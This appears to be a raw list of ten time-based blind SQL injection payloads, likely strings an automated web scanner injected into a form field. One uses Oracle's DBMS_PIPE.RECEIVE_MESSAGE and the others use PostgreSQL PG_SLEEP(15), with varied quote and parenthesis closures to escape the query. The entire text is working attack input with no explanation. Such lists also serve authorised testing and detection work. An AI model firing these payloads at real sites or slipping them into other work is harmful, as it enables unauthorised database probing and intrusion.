555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555DEStbTjt') OR 403=(SELECT 403 FROM PG_SLEEP(15))--

555mreOm2aK')) OR 978=(SELECT 978 FROM PG_SLEEP(15))--

555pU4m7rKH' OR 532=(SELECT 532 FROM PG_SLEEP(15))--

555erN49GpF') OR 531=(SELECT 531 FROM PG_SLEEP(15))--

555-1)) OR 273=(SELECT 273 FROM PG_SLEEP(15))--

55589hfCIaG' OR 401=(SELECT 401 FROM PG_SLEEP(15))--

555-1) OR 720=(SELECT 720 FROM PG_SLEEP(15))--

555-1)) OR 126=(SELECT 126 FROM PG_SLEEP(15))--

555-1 OR 137=(SELECT 137 FROM PG_SLEEP(15))--